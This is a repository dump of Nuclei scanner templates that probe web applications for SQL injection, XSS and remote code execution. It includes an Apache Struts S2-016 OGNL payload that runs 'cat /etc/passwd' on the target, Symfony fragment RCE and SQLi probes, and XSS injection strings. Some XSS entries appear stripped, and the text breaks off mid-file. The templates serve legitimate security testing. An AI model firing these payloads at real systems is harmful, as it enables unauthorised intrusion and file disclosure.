├── .dccache ├── .gitignore ├── sqli-symfony.yaml ├── api-linkfinder.yaml ├── SymfonyRCE.yaml ├── README.md ├── Oracle-OAM-XSS.yaml ├── ScanMySQLiErrorBased.yaml ├── apache-Struts-S2-016-rce.yaml ├── ScanReflectedXSS.yaml ├── LICENSE └── credentials-disclosure-all.yaml /.dccache: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | -------------------------------------------------------------------------------- /sqli-symfony.yaml: -------------------------------------------------------------------------------- 1 | id: sqli-symfony 2 | 3 | info: 4 | name: symfony SQLI 5 | author: ELSFA7110 6 | severity: high 7 | tags: sqli 8 | 9 | requests: 10 | - method: GET 11 | path: 12 | - "{{BaseURL}}/app_dev.php/1'%20%22" 13 | 14 | matchers-condition: and 15 | matchers: 16 | - type: word 17 | words: 18 | - "SQL" 19 | part: body 20 | 21 | - type: status 22 | status: 23 | - 200 24 | -------------------------------------------------------------------------------- /api-linkfinder.yaml: -------------------------------------------------------------------------------- 1 | id: api-linkfinder 2 | 3 | info: 4 | name: API Recon 5 | author: nullenc0de 6 | severity: info 7 | tags: file 8 | 9 | requests: 10 | - method: GET 11 | path: 12 | - "{{BaseURL}}" 13 | 14 | extractors: 15 | - type: regex 16 | name: url_params 17 | regex: 18 | - '[&\?][a-zA-Z0-9\_]+=' 19 | - type: regex 20 | name: relative_links 21 | regex: 22 | - ([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{1,}(?:[a-zA-Z]{1,4}|action)(?:[\?|#][^"|']{0,}|)) -------------------------------------------------------------------------------- /SymfonyRCE.yaml: -------------------------------------------------------------------------------- 1 | id: rce-symfony 2 | 3 | info: 4 | name: symfony rce 5 | author: ELSFA7110 6 | severity: high 7 | reference: | 8 | - https://www.acunetix.com/vulnerabilities/web/symfony-rce-via-weak-predictable-app_secret 9 | - https://www.ambionics.io/blog/symfony-secret-fragment 10 | tags: rce 11 | 12 | requests: 13 | - method: GET 14 | path: 15 | - "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1" 16 | 17 | matchers-condition: and 18 | matchers: 19 | - type: word 20 | words: 21 | - "PHP Credits" 22 | part: body 23 | 24 | - type: status 25 | status: 26 | - 200 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # nuclei-templates 2 | 3 | 1. sqli-symfony.yaml from https://github.com/Elsfa7-110/graphql-elsfa7-nuclei-template 4 | 1. SymfonyRCE.yaml from https://raw.githubusercontent.com/Elsfa7-110/testbug/main/SymfonyRCE.yaml 5 | 1. API-Linkfinder from https://gist.githubusercontent.com/nullenc0de/bb16be959686295b3b1caff519cc3e05/raw/2016dc0e692821ec045edd5ae5c0aba5ec9ec3f1/api-linkfinder.yaml 6 | 1. Oracle-OAM-XSS.yaml from https://github.com/dk4trin/templates-nuclei/raw/main/Oracle-OAM-XSS.yaml 7 | 1. ScanReflectedXSS.yaml from https://github.com/HernanRodriguez1/ScanReflectedXSS/raw/main/ScanReflectedXSS.yaml 8 | 1. ScanMySQLiErrorBased.yaml from https://github.com/HernanRodriguez1/ScanMySQLiErrorBased-Nuclei/blob/main/ScanMySQLiErrorBased.yaml 9 | 1. JS secret credentials-disclosure-all.yaml from https://github.com/w9w/JSA/blob/main/templates/credentials-disclosure-all.yaml -------------------------------------------------------------------------------- /Oracle-OAM-XSS.yaml: -------------------------------------------------------------------------------- 1 | id: Oracle-OAM-XSS 2 | 3 | info: 4 | name: Oracle OAM - XSS 5 | author: dk4trin 6 | severity: medium 7 | description: Cross-site scripting (XSS) on Oracle OAM 8 | tags: xss,oracle 9 | 10 | requests: 11 | - method: GET 12 | path: 13 | - '{{BaseURL}}/oam/pages/error.jsp?error=javascript%3A%2F%2Axssx%27%22%3E--%3E%3C%2Fnoscript%3E%3C%2Ftitle%3E%3C%2Ftextarea%3E%3C%2Fstyle%3E%3C%2Ftemplate%3E%3C%2Fnoembed%3E%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%2F%2F%3E%2A%2F%3Btop.alert%282%29%2F%2F' 14 | matchers-condition: and 15 | matchers: 16 | - type: status 17 | status: 18 | - 200 19 | 20 | - type: word 21 | words: 22 | - "alert(1)//>*/;top.alert(2)//" 23 | part: body 24 | 25 | - type: word 26 | words: 27 | - "text/html" 28 | part: header 29 | -------------------------------------------------------------------------------- /ScanMySQLiErrorBased.yaml: -------------------------------------------------------------------------------- 1 | id: ScanMySQLiErrorBased 2 | 3 | info: 4 | name: MySQLInjection Detected 5 | author: Hernan Rodriguez 6 | severity: High 7 | 8 | requests: 9 | - method: GET 10 | 11 | path: 12 | 13 | - "{{BaseURL}}*" 14 | - "{{BaseURL}}-" 15 | - "{{BaseURL}}'" 16 | - "{{BaseURL}}')" 17 | - "{{BaseURL}}`))" 18 | - "{{BaseURL}}``" 19 | - "{{BaseURL}};" 20 | - "{{BaseURL}}//" 21 | - "{{BaseURL}}' AND id IS NULL; --" 22 | - "{{BaseURL}}/*…*/" 23 | - "{{BaseURL}}-x()" 24 | - "{{BaseURL}}[1]" 25 | - "{{BaseURL}}/!1111'/" 26 | - "{{BaseURL}}+" 27 | - "{{BaseURL}} 1 or 1" 28 | 29 | 30 | extractors: 31 | - type: regex 32 | part: body 33 | regex: 34 | - "An error occurred | array_merge() | valid MySQL result |MySqlClient.|mysqli_.*| SQL syntax.*MySQL|Warning.*mysql_.*" 35 | 36 | -------------------------------------------------------------------------------- /apache-Struts-S2-016-rce.yaml: -------------------------------------------------------------------------------- 1 | id: apache-Struts-S2-016-rce.yaml 2 | 3 | info: 4 | name: Remote Command Execution ( Apache Struts S2-016) 5 | author: j4v40n654n 6 | severity: high 7 | reference: | 8 | - CVE-2013-2251 9 | - https://twitter.com/Alra3ees/status/1416185619336814596 10 | tags: apache, rce 11 | 12 | requests: 13 | - method: GET 14 | path: 15 | - "{{BaseURL}}/sm/login/loginpagecontentgrabber.do?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}" 16 | 17 | matchers: 18 | - type: regex 19 | words: 20 | - "root:.*:0:0:" 21 | part: body 22 | -------------------------------------------------------------------------------- /ScanReflectedXSS.yaml: -------------------------------------------------------------------------------- 1 | id: ScanReflectedXSS 2 | 3 | info: 4 | name: Scanner Cross-Site Scripting Reflected 5 | author: Hernan Rodriguez 6 | severity: Medium 7 | description: XSS via GET parameter 8 | reference: https://www.linkedin.com/in/hernanrodriguez-/ 9 | - 10 | tags: xss 11 | 12 | requests: 13 | - method: GET 14 | 15 | path: 16 | 17 | - "{{BaseURL}}'>" 18 | - "{{BaseURL}}'>
" 19 | - "{{BaseURL}}'>" 20 | - "{{BaseURL}}'6'%22()%26%25%22%3E%3Csvg/onload=confirm(1)%3E/" 21 | - "{{BaseURL}}'
" 22 | - "{{BaseURL}}'